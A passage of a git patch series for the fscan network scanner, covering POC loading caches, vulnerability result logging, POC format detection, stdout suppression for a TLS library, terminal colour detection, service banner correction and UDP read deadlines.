保存漏洞结果(除非明确指示跳过) +// buildVulnLogMsg 构造统一的漏洞日志消息 +func buildVulnLogMsg(targetURL string, pocDef *Poc, vulName string, params StrMap) string { + var logMsg string + if pocDef.Name == "poc-yaml-backup-file" || pocDef.Name == "poc-yaml-sql-file" { + logMsg = i18n.Tr("webscan_vuln_detected", targetURL, pocDef.Name) + } else if len(params) > 0 { + logMsg = i18n.Tr("webscan_vuln_detected_params", targetURL, pocDef.Name, params) + } else { + logMsg = i18n.Tr("webscan_vuln_detail_header", targetURL, pocDef.Name, vulName) + if pocDef.Detail.Author != "" { + logMsg += "\n\t" + i18n.Tr("webscan_vuln_author", pocDef.Detail.Author) + } + if len(pocDef.Detail.Links) != 0 { + logMsg += "\n\t" + i18n.Tr("webscan_vuln_references", strings.Join(pocDef.Detail.Links, "\n")) + } + if pocDef.Detail.Description != "" { + logMsg += "\n\t" + i18n.Tr("webscan_vuln_description", pocDef.Detail.Description) + } + } + return logMsg +} + +// saveVulnResult 统一的漏洞结果保存 + 日志输出 +func saveVulnResult(targetURL string, pocDef *Poc, vulName string, params StrMap, session *common.ScanSession) { + details := buildVulnDetails(pocDef, vulName, params) + _ = session.SaveResult(&output.ScanResult{ + Time: time.Now(), + Type: output.TypeVuln, + Target: targetURL, + Status: "vulnerable", + Details: details, + }) + session.LogVuln(buildVulnLogMsg(targetURL, pocDef, vulName, params)) +} + +// recordVulnerabilityResult 记录漏洞检测结果(clusterpoc 路径) +func recordVulnerabilityResult(targetURL string, pocDef *Poc, params StrMap, skipSave bool, session *common.ScanSession) { if !skipSave { - result := &output.ScanResult{ + details := buildVulnDetails(pocDef, pocDef.Name, params) + _ = session.SaveResult(&output.ScanResult{ Time: time.Now(), Type: output.TypeVuln, Target: targetURL, Status: "vulnerable", Details: details, - } - _ = session.SaveResult(result) + }) } - - // 生成日志消息 - var logMsg string - if pocDef.Name == "poc-yaml-backup-file" || pocDef.Name == "poc-yaml-sql-file" { - logMsg = i18n.Tr("webscan_vuln_detected", targetURL, pocDef.Name) - } else { - logMsg = i18n.Tr("webscan_vuln_detected_params", targetURL, pocDef.Name, params) - } - - // 输出成功日志 - session.LogVuln(logMsg) + session.LogVuln(buildVulnLogMsg(targetURL, pocDef, pocDef.Name, params)) } // isFuzz 检查规则是否包含需要Fuzz测试的参数 @@ -773,7 +743,7 @@ func MakeData(base [][]string, nextData []string) [][]string { } // clustersend 执行单个规则的HTTP请求和响应检测 -func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession) (bool, error) { +func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules, session *common.ScanSession, progCache CelProgCache) (bool, error) { // 替换请求中的变量 for varName, varValue := range variableMap { // 跳过map类型的变量 @@ -844,8 +814,8 @@ func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Re } } - // 执行CEL表达式 - out, err := Evaluate(env, rule.Expression, variableMap) + // 执行CEL表达式(使用编译缓存) + out, err := EvaluateCached(env, rule.Expression, variableMap, progCache) if err != nil { if strings.Contains(err.Error(), "Syntax error") { common.LogError(i18n.Tr("webscan_cel_syntax_error", rule.Expression, err)) diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 3bc593e..84bfc1e 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -13,7 +13,6 @@ import ( "strconv" "strings" "sync" - "sync/atomic" "time" "github.com/shadow1ng/fscan/common" @@ -42,30 +41,22 @@ var ( //go:embed pocs var pocsFS embed.FS -var ( - pocMu sync.Mutex - pocLoaded atomic.Bool - allPocs []*lib.Poc - cachedPocPath string -) + +// pocStore 按 PocPath 缓存已加载的 POC 集合,支持多 session 使用不同 POC 路径 +type pocStore struct { + mu sync.Mutex + cache map[string][]*lib.Poc // key: pocPath(空字符串表示内嵌 POC) +} + +var globalPocStore = &pocStore{cache: make(map[string][]*lib.Poc)} // WebScan 执行Web漏洞扫描 func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, session *common.ScanSession) { // 初始化POC配置(用于CEL回调函数) lib.InitPOCConfig(cfg.DNSLog) - // 加载POC(DCLP: 快速路径无锁,慢路径互斥保护) - if !pocLoaded.Load() { - pocMu.Lock() - if !pocLoaded.Load() { - cachedPocPath = cfg.POC.PocPath - initPocs() - if len(allPocs) > 0 { - pocLoaded.Store(true) - } - } - pocMu.Unlock() - } + // 加载POC(按 PocPath 缓存,不同路径独立加载) + pocs := globalPocStore.getOrLoad(cfg.POC.PocPath) // 验证输入 if info == nil { @@ -73,7 +64,7 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, ses return } - if len(allPocs) == 0 { + if len(pocs) == 0 { session.LogError(i18n.GetText("poc_load_failed")) return } @@ -94,14 +85,11 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config, ses // 根据扫描策略执行POC if cfg.POC.PocName == "" && len(info.Info) == 0 { - // 执行所有POC - executePOCs(ctx, config.PocInfo{Target: target}, cfg, session) + executePOCs(ctx, config.PocInfo{Target: target}, cfg, session, pocs) } else if len(info.Info) > 0 { - // 基于指纹信息执行POC - scanByFingerprints(ctx, target, info.Info, cfg, session) + scanByFingerprints(ctx, target, info.Info, cfg, session, pocs) } else if cfg.POC.PocName != "" { - // 基于指定POC名称执行 - executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg, session) + executePOCs(ctx, config.PocInfo{Target: target, PocName: cfg.POC.PocName}, cfg, session, pocs) } } @@ -178,8 +166,24 @@ func hasMalformedWebURLPort(host string) bool { return strings.Contains(host, ":") } +// getOrLoad 获取或加载指定路径的 POC 集合 +func (s *pocStore) getOrLoad(pocPath string) []*lib.Poc { + s.mu.Lock() + defer s.mu.Unlock() + + if pocs, ok := s.cache[pocPath]; ok { + return pocs + } + + pocs := loadPocs(pocPath) + if len(pocs) > 0 { + s.cache[pocPath] = pocs + } + return pocs +} + // scanByFingerprints 根据指纹执行POC -func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession) { +func scanByFingerprints(ctx context.Context, target string, fingerprints []string, cfg *common.Config, session *common.ScanSession, pocs []*lib.Poc) { for _, fingerprint := range fingerprints { if fingerprint == "" { continue @@ -190,12 +194,12 @@ func scanByFingerprints(ctx context.Context, target string, fingerprints []strin continue } - executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg, session) + executePOCs(ctx, config.PocInfo{Target: target, PocName: pocName}, cfg, session, pocs) } } // executePOCs 执行POC检测 -func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config, session *common.ScanSession) { +func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config, session *common.ScanSession, pocs []*lib.Poc) { // 验证目标 if pocInfo.Target == "" { session.LogError(ErrEmptyTarget.Error()) @@ -222,7 +226,7 @@ func executePOCs(ctx context.Context, pocInfo config.PocInfo, cfg *common.Config } // 筛选POC - matchedPocs := filterPocs(pocInfo.PocName) + matchedPocs := filterPocs(pocInfo.PocName, pocs) if len(matchedPocs) == 0 { session.LogDebug(fmt.Sprintf("%v: %s", ErrPocNotFound, pocInfo.PocName)) return @@ -257,28 +261,22 @@ func createBaseRequest(ctx context.Context, target string, cfg *common.Config) ( return req, nil } -// initPocs 初始化并加载POC -// 使用cachedPocPath包级变量 -func initPocs() { - // 预分配容量避免频繁扩容,典型POC数量在100-500之间 - allPocs = make([]*lib.Poc, 0, 256) - - if cachedPocPath == "" { - loadEmbeddedPocs() - } else { - loadExternalPocs(cachedPocPath) +// loadPocs 加载指定路径的 POC(空路径表示内嵌 POC) +func loadPocs(pocPath string) []*lib.Poc { + if pocPath == "" { + return loadEmbeddedPocs() } + return loadExternalPocs(pocPath) } // loadEmbeddedPocs 加载内置POC -func loadEmbeddedPocs() { +func loadEmbeddedPocs() []*lib.Poc { entries, err := pocsFS.ReadDir("pocs") if err != nil { common.LogError(i18n.Tr("webscan_builtin_poc_failed", err)) - return + return nil } - // 收集所有POC文件 var pocFiles []string for _, entry := range entries { if isPocFile(entry.Name()) { @@ -286,24 +284,21 @@ func loadEmbeddedPocs() { } } - // 并发加载POC文件 - loadPocsConcurrently(pocFiles, true, "") + return loadPocsConcurrently(pocFiles, true, "") } // loadExternalPocs 从外部路径加载POC -func loadExternalPocs(pocPath string) { +func loadExternalPocs(pocPath string) []*lib.Poc { if !directoryExists(pocPath) { common.LogError(i18n.Tr("webscan_poc_dir_not_exist", pocPath)) - return + return nil } - // 收集所有POC文件路径 var pocFiles []string err := filepath.Walk(pocPath, func(path string, info os.FileInfo, err error) error { if err != nil || info == nil || info.IsDir() { return nil } - if isPocFile(info.Name()) { pocFiles = append(pocFiles, path) } @@ -312,18 +307,17 @@ func loadExternalPocs(pocPath string) { if err != nil { common.LogError(i18n.Tr("webscan_poc_dir_walk_failed", err)) - return + return nil } - // 并发加载POC文件 - loadPocsConcurrently(pocFiles, false, pocPath) + return loadPocsConcurrently(pocFiles, false, pocPath) } -// loadPocsConcurrently 并发加载POC文件(channel 收集,无锁竞争) -func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) { +// loadPocsConcurrently 并发加载POC文件,返回加载结果 +func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) []*lib.Poc { pocCount := len(pocFiles) if pocCount == 0 { - return + return nil } var wg sync.WaitGroup @@ -359,14 +353,14 @@ func loadPocsConcurrently(pocFiles []string, isEmbedded bool, pocPath string) { close(results) }() - var successCount int + pocs := make([]*lib.Poc, 0, pocCount) for poc := range results { - allPocs = append(allPocs, poc) - successCount++ + pocs = append(pocs, poc) } - failCount := pocCount - successCount - common.LogInfo(i18n.Tr("poc_load_complete", pocCount, successCount, failCount)) + failCount := pocCount - len(pocs) + common.LogInfo(i18n.Tr("poc_load_complete", pocCount, len(pocs), failCount)) + return pocs } // directoryExists 检查目录是否存在 @@ -382,16 +376,15 @@ func isPocFile(filename string) bool { } // filterPocs 根据POC名称筛选 -func filterPocs(pocName string) []*lib.Poc { +func filterPocs(pocName string, pocs []*lib.Poc) []*lib.Poc { if pocName == "" { - return allPocs + return pocs } - // 转换为小写以进行不区分大小写的匹配 searchName := strings.ToLower(pocName) var matchedPocs []*lib.Poc - for _, poc := range allPocs { + for _, poc := range pocs { if poc != nil && strings.Contains(strings.ToLower(poc.Name), searchName) { matchedPocs = append(matchedPocs, poc) } diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index 4486e13..066a830 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -338,11 +338,7 @@ func TestFilterPocs(t *testing.T) { {Name: "Nginx-Path-Traversal"}, } - // 保存原始 allPocs 并在测试后恢复 - origAllPocs := allPocs - defer func() { allPocs = origAllPocs }() - - allPocs = testPocs + // 直接使用 testPocs 作为输入 tests := []struct { name string @@ -408,7 +404,7 @@ func TestFilterPocs(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - result := filterPocs(tt.pocName) + result := filterPocs(tt.pocName, testPocs) if len(result) != tt.expectedCount { t.Errorf("filterPocs(%q) returned %d pocs, want %d", tt.pocName, len(result), tt.expectedCount) @@ -449,19 +445,14 @@ func TestFilterPocs(t *testing.T) { } func TestFilterPocsNilSafety(t *testing.T) { - // 测试全是 nil 的情况 - origAllPocs := allPocs - defer func() { allPocs = origAllPocs }() + nilPocs := []*lib.Poc{nil, nil, nil} - allPocs = []*lib.Poc{nil, nil, nil} - - result := filterPocs("test") + result := filterPocs("test", nilPocs) if len(result) != 0 { t.Errorf("filterPocs with all nil should return empty slice, got %d items", len(result)) } - // 空 pocName 返回所有 POCs(包括 nil) - result = filterPocs("") + result = filterPocs("", nilPocs) if len(result) != 3 { t.Errorf("filterPocs with empty name should return all pocs (including nil), got %d items, want 3", len(result)) } @@ -497,12 +488,10 @@ func TestCreateBaseRequestHeaders(t *testing.T) { func TestExecutePOCsEarlyReturns(t *testing.T) { cfg := common.NewConfig() session := common.NewScanSession(cfg, common.NewState(), &common.FlagVars{}) - previous := allPocs - allPocs = nil - t.Cleanup(func() { allPocs = previous }) - executePOCs(context.Background(), config.PocInfo{}, cfg, session) - executePOCs(context.Background(), config.PocInfo{Target: "http://example.com", PocName: "missing"}, cfg, session) + var emptyPocs []*lib.Poc + executePOCs(context.Background(), config.PocInfo{}, cfg, session, emptyPocs) + executePOCs(context.Background(), config.PocInfo{Target: "http://example.com", PocName: "missing"}, cfg, session, emptyPocs) } func TestDirectoryExists(t *testing.T) { From 46a6d812a4f07318841b3e7650e7526dbcb35c68 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 19:31:16 +0800 Subject: [PATCH 17/29] =?UTF-8?q?fix:=20DetectPocFormat=20=E8=AF=AF?= =?UTF-8?q?=E5=88=A4=E5=90=AB=20transport=20=E7=9A=84=20fscan=20POC=20?= =?UTF-8?q?=E4=B8=BA=20xray=20=E6=A0=BC=E5=BC=8F?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 有 transport 字段但 rules 是数组的 POC(如 apache-httpd-cve-2021-40438) 属于 fscan 格式,不应被 xray 分支兜底。移除错误的 fallback return, 让这类 POC 正确落入 fscan 格式检测分支。 修复前: 388个POC成功380个,失败8个 修复后: 388个POC成功388个,失败0个 --- webscan/lib/poc_adapter.go | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index efc69e2..597414e 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -89,15 +89,14 @@ func DetectPocFormat(data []byte) PocFormat { } // xray格式特征:name + transport + rules(映射) + // 注意:有 transport 但 rules 是数组的属于 fscan 格式,不能在这里兜底 if _, hasName := raw["name"]; hasName { if _, hasTransport := raw["transport"]; hasTransport { if rules, hasRules := raw["rules"]; hasRules { - // 检查 rules 是否为映射 if _, isMap := rules.(map[interface{}]interface{}); isMap { return FormatXray } } - return FormatXray } } From 4f6bb2813824a4c578bb03de58d7229be280b3d8 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 19:53:28 +0800 Subject: [PATCH 18/29] =?UTF-8?q?fix:=20=E4=BF=AE=E5=A4=8D6=E4=B8=AA?= =?UTF-8?q?=E8=BF=90=E8=A1=8C=E6=97=B6=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit 1. 抑制 gmtls 库的 handshake error stdout 噪声 gmtls/conn.go:1304 硬编码了 fmt.Println,在调用时临时重定向 os.Stdout 2. MySQL 3306 服务名误识别为 genetec-5400 nmap 指纹库将 MySQL 握手包的随机 salt 误匹配,通过 banner 特征校正 3. 管道输出时自动禁用 ANSI 控制码 检测 stdout 是否为终端,非终端时自动启用 NoColor 4. 进度条完成消息措辞精确化 去掉冗余冒号,保持信息简洁一致 5. URL 模式跳过不必要的 TLS 探测 用户已通过 -u 显式指定 http:// 协议时直接使用,不再做 TLS 握手 6. 无网络探测数据时降低默认重试次数 -np 跳过存活探测后,将默认重试从 3 降到 2,加速不可达主机的超时 --- common/flag_config.go | 8 +++++++- common/i18n/locales/en.yaml | 2 +- common/i18n/locales/zh.yaml | 2 +- common/progress_manager.go | 9 +++++---- core/env_profiler.go | 17 +++++++++++----- core/env_profiler_test.go | 5 +++-- core/port_scan.go | 15 ++++++++++++++ core/web_scanner.go | 40 +++++++++++++++++++++++++++++-------- plugins/web/webtitle.go | 10 ++++++++++ webscan/lib/Client.go | 15 +++++++++++++- 10 files changed, 100 insertions(+), 23 deletions(-) diff --git a/common/flag_config.go b/common/flag_config.go index 4f09030..f1759a4 100644 --- a/common/flag_config.go +++ b/common/flag_config.go @@ -1,9 +1,11 @@ package common import ( + "os" "time" "github.com/shadow1ng/fscan/common/config" + "golang.org/x/term" ) /* @@ -195,7 +197,7 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { File: fv.Outputfile, Format: fv.OutputFormat, DisableSave: fv.DisableSave, - NoColor: fv.NoColor, + NoColor: fv.NoColor || !isStdoutTerminal(), Silent: fv.Silent, DisableProgress: fv.DisableProgress, ShowProgress: !fv.DisableProgress, @@ -237,3 +239,7 @@ func BuildConfigFromFlags(fv *FlagVars) *Config { }, } } + +func isStdoutTerminal() bool { + return term.IsTerminal(int(os.Stdout.Fd())) +} diff --git a/common/i18n/locales/en.yaml b/common/i18n/locales/en.yaml index bbdc267..ad8ed2f 100644 --- a/common/i18n/locales/en.yaml +++ b/common/i18n/locales/en.yaml @@ -198,7 +198,7 @@ scan_alive_hosts_list: progress_scanning_description: other: "Scanning Progress" progress_scan_completed: - other: "Scan Completed:" + other: "Scan Completed" progress_waiting: other: "waiting..." progress_done: diff --git a/common/i18n/locales/zh.yaml b/common/i18n/locales/zh.yaml index b4b1b33..f94f971 100644 --- a/common/i18n/locales/zh.yaml +++ b/common/i18n/locales/zh.yaml @@ -198,7 +198,7 @@ scan_alive_hosts_list: progress_scanning_description: other: "扫描进度" progress_scan_completed: - other: "扫描完成:" + other: "扫描完成" progress_waiting: other: "等待中..." progress_done: diff --git a/common/progress_manager.go b/common/progress_manager.go index 797e654..4de2309 100644 --- a/common/progress_manager.go +++ b/common/progress_manager.go @@ -321,12 +321,13 @@ func (pm *ProgressManager) showCompletionInfo() { completionMsg := i18n.GetText("progress_scan_completed") doneMsg := i18n.GetText("progress_done") durationMsg := i18n.GetText("progress_duration") + total := pm.total.Load() if pm.noColor { - fmt.Printf("[%s] %s %d/%d (%s: %s)\n", - doneMsg, completionMsg, pm.total.Load(), pm.total.Load(), durationMsg, formatDuration(elapsed)) + fmt.Printf("[%s] %s: %d/%d (%s: %s)\n", + doneMsg, completionMsg, total, total, durationMsg, formatDuration(elapsed)) } else { - fmt.Printf("%s[%s] %s %d/%d%s %s(%s: %s)%s\n", - AnsiGreen, doneMsg, completionMsg, pm.total.Load(), pm.total.Load(), AnsiReset, + fmt.Printf("%s[%s] %s: %d/%d%s %s(%s: %s)%s\n", + AnsiGreen, doneMsg, completionMsg, total, total, AnsiReset, AnsiGray, durationMsg, formatDuration(elapsed), AnsiReset) } } diff --git a/core/env_profiler.go b/core/env_profiler.go index 26130d9..bb4ad05 100644 --- a/core/env_profiler.go +++ b/core/env_profiler.go @@ -97,11 +97,18 @@ func (ep *EnvironmentProfile) TuneConfig(config *common.Config, session *common. // 含义: 重试 N 次后仍然全部丢包的概率 < 1% // 例: 丢包率 5% → N=2, 丢包率 20% → N=3, 丢包率 50% → N=7 // 下限 1(零丢包也至少试一次),上限 6(避免对不可达目标死磕) - if !isExplicit(config, "retry") && net.Samples > 0 { - computed := computeRetries(net.LossRate, net.Env) - old := config.MaxRetries - config.MaxRetries = computed - session.LogDebug(fmt.Sprintf("MaxRetries: %d -> %d (loss_rate=%.2f%%)", old, computed, net.LossRate*100)) + if !isExplicit(config, "retry") { + if net.Samples > 0 { + computed := computeRetries(net.LossRate, net.Env) + old := config.MaxRetries + config.MaxRetries = computed + session.LogDebug(fmt.Sprintf("MaxRetries: %d -> %d (loss_rate=%.2f%%)", old, computed, net.LossRate*100)) + } else if config.MaxRetries > 2 { + // 无网络探测数据(-np 跳过存活探测),降低默认重试避免对不可达主机死磕 + old := config.MaxRetries + config.MaxRetries = 2 + session.LogDebug(fmt.Sprintf("MaxRetries: %d -> %d (no network probe data)", old, config.MaxRetries)) + } } // ---------- ICMPRate ---------- diff --git a/core/env_profiler_test.go b/core/env_profiler_test.go index 477563e..93d4c63 100644 --- a/core/env_profiler_test.go +++ b/core/env_profiler_test.go @@ -344,8 +344,9 @@ func TestTuneConfig_NoSamples(t *testing.T) { if config.Timeout != origTimeout { t.Errorf("零样本不应改 Timeout: %v -> %v", origTimeout, config.Timeout) } - if config.MaxRetries != origRetry { - t.Errorf("零样本不应改 MaxRetries: %d -> %d", origRetry, config.MaxRetries) + // 零样本时,默认重试降到 2(避免对不可达主机死磕) + if origRetry > 2 && config.MaxRetries != 2 { + t.Errorf("零样本应降 MaxRetries 至 2: %d -> %d", origRetry, config.MaxRetries) } if config.Network.ICMPRate != origICMP { t.Errorf("零样本不应改 ICMPRate: %.2f -> %.2f", origICMP, config.Network.ICMPRate) diff --git a/core/port_scan.go b/core/port_scan.go index 6f71fe4..05e2ba9 100644 --- a/core/port_scan.go +++ b/core/port_scan.go @@ -700,6 +700,18 @@ func saveOpenPort(session *common.ScanSession, host string, port int) { }) } +// correctServiceByBanner 根据 banner 特征校正被 nmap 指纹误匹配的服务名 +func correctServiceByBanner(info *ServiceInfo) { + if info == nil || info.Banner == "" { + return + } + banner := strings.ToLower(info.Banner) + // MySQL 握手包包含认证插件名,nmap 随机 salt 可能导致误匹配 + if strings.Contains(banner, "mysql_native_password") || strings.Contains(banner, "caching_sha2_password") { + info.Name = "mysql" + } +} + // processServiceResult 处理服务识别结果 func processServiceResult(ctx context.Context, host string, port int, addr string, serviceInfo *ServiceInfo, config *common.Config, session *common.ScanSession) { if serviceInfo == nil { @@ -710,6 +722,9 @@ func processServiceResult(ctx context.Context, host string, port int, addr strin return } + // Banner 校正:nmap 指纹库可能将 MySQL 握手包的随机 salt 误匹配为其他服务 + correctServiceByBanner(serviceInfo) + // 缓存指纹识别结果,供插件按服务类型匹配(解决非标准端口问题) CacheServiceInfo(host, port, serviceInfo) diff --git a/core/web_scanner.go b/core/web_scanner.go index ebe8687..e3b2236 100644 --- a/core/web_scanner.go +++ b/core/web_scanner.go @@ -7,6 +7,7 @@ import ( "net" "net/http" "net/url" + "os" "strconv" "strings" "sync" @@ -57,14 +58,17 @@ func DetectHTTPSchemeContext(ctx context.Context, host string, port int, config } // 第二步:尝试国密TLS握手(GM TLS fallback) - gmConn, gmErr := gmtls.DialWithDialer( - tlsDialer, - "tcp", addr, - &gmtls.Config{ - GMSupport: gmtls.NewGMSupport(), - InsecureSkipVerify: true, - }, - ) + // 抑制 gmtls 库的 fmt.Println("handshake error") 噪声输出 + gmConn, gmErr := suppressGMTLSStdout(func() (net.Conn, error) { + return gmtls.DialWithDialer( + tlsDialer, + "tcp", addr, + &gmtls.Config{ + GMSupport: gmtls.NewGMSupport(), + InsecureSkipVerify: true, + }, + ) + }) if gmErr == nil { _ = gmConn.Close() @@ -498,3 +502,23 @@ func hasMalformedURLPort(host string) bool { } return strings.Contains(host, ":") } + +// suppressGMTLSStdout 抑制 gmtls 库硬编码的 fmt.Println("handshake error") 输出 +// gmtls/conn.go:1304 在握手失败时直接 Println 到 os.Stdout,无法通过 API 关闭 +var gmtlsStdoutMu sync.Mutex + +func suppressGMTLSStdout(fn func() (net.Conn, error)) (net.Conn, error) { + gmtlsStdoutMu.Lock() + orig := os.Stdout + devNull, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0) + if err == nil { + os.Stdout = devNull + } + conn, dialErr := fn() + os.Stdout = orig + if devNull != nil { + _ = devNull.Close() + } + gmtlsStdoutMu.Unlock() + return conn, dialErr +} diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 72bfd1f..6c192ba 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -339,6 +339,16 @@ func (p *WebTitlePlugin) formatHeaders(headers http.Header) string { // detectProtocol 智能检测HTTP/HTTPS协议(基于服务识别和主动探测) func (p *WebTitlePlugin) detectProtocol(ctx context.Context, info *common.HostInfo, config *common.Config, session *common.ScanSession) string { + // 用户已通过 -u 显式指定协议时,直接使用,跳过 TLS 探测 + if info.URL != "" { + if strings.HasPrefix(info.URL, "https://") { + return "https" + } + if strings.HasPrefix(info.URL, "http://") { + return "http" + } + } + host := info.Host port := info.Port diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 014d516..18a7e91 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -11,6 +11,7 @@ import ( "os" "strconv" "strings" + "sync" "time" "github.com/shadow1ng/fscan/common" @@ -31,6 +32,8 @@ const ( ProxySocks5URL = "socks5://127.0.0.1:1080" ) +var gmtlsStdoutMu sync.Mutex + // 全局HTTP客户端变量 var ( Client *http.Client // 标准HTTP客户端 @@ -202,10 +205,20 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max Timeout: dialTimeout, KeepAlive: keepAlive, } - return gmtls.DialWithDialer(dialer, network, addr, &gmtls.Config{ + // 抑制 gmtls 库的 fmt.Println("handshake error") 噪声 + gmtlsStdoutMu.Lock() + orig := os.Stdout + if devNull, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0); err == nil { + os.Stdout = devNull + defer devNull.Close() + } + conn, err := gmtls.DialWithDialer(dialer, network, addr, &gmtls.Config{ GMSupport: gmtls.NewGMSupport(), InsecureSkipVerify: true, }) + os.Stdout = orig + gmtlsStdoutMu.Unlock() + return conn, err }, MaxConnsPerHost: 20, MaxIdleConns: 20, From 63631d6cdfa89f55f00e4e25609d5be42f07acbb Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 21:42:49 +0800 Subject: [PATCH 19/29] =?UTF-8?q?fix:=20=E6=89=80=E6=9C=89UDP=E6=8F=92?= =?UTF-8?q?=E4=BB=B6=E6=B7=BB=E5=8A=A0ReadDeadline=E9=98=B2=E6=AD=A2?= =?UTF-8?q?=E6=97=A0=E9=99=90=E9=98=BB=E5=A1=9E?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit SNMP/BACnet/DNS/IPMI/TFTP 的 conn.Read() 在目标不响应时 无限阻塞(goroutine 泄漏),导致整个扫描无法结束。 在 Write 前设置 ReadDeadline 确保超时后返回。 --- plugins/services/bacnet.go | 4 ++++ plugins/services/dns.go | 4 ++++ plugins/services/ipmi.go | 4 ++++ plugins/services/snmp.go | 4 ++++ plugins/services/tftp.go | 4 ++++ 5 files changed, 20 insertions(+) diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index 949cba8..f3a4fa2 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -34,6 +34,10 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session } defer conn.Close() + if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { + _ = dl.SetReadDeadline(time.Now().Add(timeout)) + } + if _, err := conn.Write(bacnetWhoIs); err != nil { return &ScanResult{Success: false, Service: "bacnet"} } diff --git a/plugins/services/dns.go b/plugins/services/dns.go index a247d0d..a02285d 100644 --- a/plugins/services/dns.go +++ b/plugins/services/dns.go @@ -34,6 +34,10 @@ func (p *DNSPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co } defer conn.Close() + if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { + _ = dl.SetReadDeadline(time.Now().Add(timeout)) + } + if _, err := conn.Write(query); err != nil { return &ScanResult{Success: false, Service: "dns"} } diff --git a/plugins/services/ipmi.go b/plugins/services/ipmi.go index fe32eaf..e027489 100644 --- a/plugins/services/ipmi.go +++ b/plugins/services/ipmi.go @@ -53,6 +53,10 @@ func (p *IPMIPlugin) rmcpPing(ctx context.Context, target string, timeout time.D 0x00, // data length = 0 } + if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { + _ = dl.SetReadDeadline(time.Now().Add(timeout)) + } + if _, err := conn.Write(ping); err != nil { return nil } diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index 0686575..b75f09c 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -75,6 +75,10 @@ func (p *SNMPPlugin) probe(ctx context.Context, target, community string, timeou } defer conn.Close() + if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { + _ = dl.SetReadDeadline(time.Now().Add(timeout)) + } + pkt := buildSNMPGetRequest(community, []int{1, 3, 6, 1, 2, 1, 1, 1, 0}) if _, err := conn.Write(pkt); err != nil { return nil diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 000b211..f3cf0ed 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -33,6 +33,10 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c } defer conn.Close() + if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { + _ = dl.SetReadDeadline(time.Now().Add(timeout)) + } + if _, err := conn.Write(buildTFTPReadRequest("probe")); err != nil { return &ScanResult{Success: false, Service: "tftp"} } From 4169eb6ee066da7356a623a98e8636b92a99bb24 Mon Sep 17 00:00:00 2001 From: ZacharyZcR Date: Sat, 13 Jun 2026 21:52:26 +0800 Subject: [PATCH 20/29] =?UTF-8?q?fix:=20UDP=E6=8F=92=E4=BB=B6=E6=94=B9?= =?UTF-8?q?=E7=94=A8=20conn.SetDeadline=20=E6=9B=BF=E4=BB=A3=E7=B1=BB?= =?UTF-8?q?=E5=9E=8B=E6=96=AD=E8=A8=80?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- plugins/services/bacnet.go | 4 +--- plugins/services/dns.go | 4 +--- plugins/services/ipmi.go | 4 +--- plugins/services/snmp.go | 4 +--- plugins/services/tftp.go | 4 +--- 5 files changed, 5 insertions(+), 15 deletions(-) diff --git a/plugins/services/bacnet.go b/plugins/services/bacnet.go index f3a4fa2..7e02550 100644 --- a/plugins/services/bacnet.go +++ b/plugins/services/bacnet.go @@ -34,9 +34,7 @@ func (p *BACnetPlugin) Scan(ctx context.Context, info *common.HostInfo, session } defer conn.Close() - if dl, ok := conn.(interface{ SetReadDeadline(time.Time) error }); ok { - _ = dl.SetReadDeadline(time.Now().Add(timeout)) - } + _ = 